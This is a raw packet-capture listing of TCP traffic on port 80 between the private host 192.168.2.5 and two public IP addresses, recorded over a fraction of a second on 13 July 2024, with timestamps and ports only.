Jul 13, 2024 07:07:05.699301958 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.699307919 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.699337959 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.699342012 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.699373007 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.699378014 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.699413061 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.699423075 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.699446917 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.699486971 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.699493885 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.699527979 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.735980988 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.736016989 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.736032963 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.736048937 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.736064911 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.736079931 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.736095905 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.736139059 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.736139059 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.736139059 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.736139059 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.736139059 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.736139059 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.736140013 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.736180067 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.736196995 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.736211061 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.736226082 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.736227036 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.736239910 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.736244917 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.736267090 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.736267090 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.736296892 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.736526966 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.736560106 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.736576080 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.736593962 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.736615896 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.736628056 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.736645937 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.736664057 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.736675024 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.736699104 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.736707926 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.736733913 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.736745119 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.736778975 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.736804008 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.736836910 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.736850023 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.736871004 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.736885071 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.736906052 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.736939907 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.736953974 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.736973047 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.736984015 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.737020969 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.737067938 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.737102032 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.737116098 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.737134933 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.737148046 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.737170935 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.737181902 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.737204075 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.737215996 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.737240076 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.737247944 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.737288952 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.737397909 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.737430096 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.737462997 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.737478971 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.737497091 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.737507105 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.737533092 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.737565994 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.737576008 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.737576008 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.737598896 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.737633944 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.737634897 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.737673044 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.737673044 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.737807989 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.737840891 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.737855911 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.737874031 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.737889051 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.737907887 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.737921000 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.737942934 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.737951994 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.737977028 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.738009930 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.738023043 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.738042116 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.738055944 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.738078117 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.738086939 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.738112926 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.738122940 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.738149881 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.738157988 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.738179922 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.738195896 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.738223076 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.738326073 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.738354921 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.738373041 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.738388062 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.738415956 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.738432884 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.738440037 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.738472939 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.738507032 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.738522053 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.738538980 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.738550901 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.738573074 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.738584042 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.738614082 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.738622904 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.738647938 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.738661051 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.738682032 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.738692999 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.738717079 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.738727093 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.738750935 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.738760948 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.738785982 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.738818884 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.738832951 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.738852978 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.738867044 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.738888025 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.738899946 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.738922119 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.738934994 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.738965988 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.738965988 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.739012003 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.739320040 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.739352942 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.739371061 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.739387035 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.739403009 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.739418983 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.739432096 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.739453077 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.739485979 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.739500999 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.739520073 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.739530087 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.739552975 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.739569902 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.739586115 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.739600897 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.739619017 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.739634037 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.739653111 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.739666939 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.739686966 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.739700079 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.739721060 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.739733934 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.739753962 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.739768982 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.739789009 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.739801884 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.739821911 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.739835978 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.739875078 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.739890099 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.739909887 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.739923000 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.739947081 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.739953995 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.739993095 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.740155935 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.740189075 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.740202904 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.740222931 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.740236044 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.740256071 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.740272045 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.740291119 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.740304947 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.740324974 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.740336895 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.740359068 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.740394115 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.740403891 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.740439892 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.742228031 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.742266893 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.742280960 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.742305994 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.742305994 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.742417097 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.742444038 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.742481947 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.742497921 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.742535114 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.742579937 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.742598057 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.742614031 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.742639065 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.742639065 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.742691040 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.743308067 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.743351936 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.743366957 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.743400097 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.743400097 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.743500948 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.743664026 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.743740082 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.743833065 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.747781038 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.747852087 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.747867107 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.747873068 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.747916937 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.747916937 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.747953892 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.747968912 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.748006105 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.748006105 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.748167038 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.748193026 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.748208046 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.748259068 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.748265982 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.748265982 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.748514891 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.748686075 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.748753071 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.748769045 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.748800039 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.748821020 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.748836994 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.748852015 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.748856068 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.748883963 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.748883963 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.748939037 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.750307083 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.750334024 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.750350952 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.750377893 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.750377893 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.750399113 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.750457048 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.750473022 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.750488997 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.750513077 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.750536919 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.750536919 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.750602007 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.750617027 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.750632048 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.750642061 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.750649929 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.750669956 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.750669956 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.750695944 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.750767946 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.750819921 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.773190022 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.773232937 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.773289919 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.773329020 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.773363113 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.773380041 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.773380041 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.773380041 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.773380041 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.773397923 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.773432016 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.773447990 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.773447990 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.773469925 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.773483038 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.773622036 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.789391994 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.789469004 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.789479971 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.789515972 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.789535046 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.789552927 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.789566994 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.789587021 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.789606094 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.789621115 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.789630890 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.789669991 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.789674997 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.789715052 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.789733887 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.789755106 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.789772987 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.789791107 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.789841890 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.789846897 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.789877892 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.789896011 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.789912939 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.789927006 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.789952040 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.789957047 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.790000916 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.825819016 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.825840950 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.825859070 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.826013088 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.826013088 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.826148987 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.826180935 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.826205969 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.826220989 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.826221943 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.826221943 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.826236963 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.826242924 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.826252937 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.826267958 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.826277018 CEST	58981	80	192.168.2.5	85.28.47.70
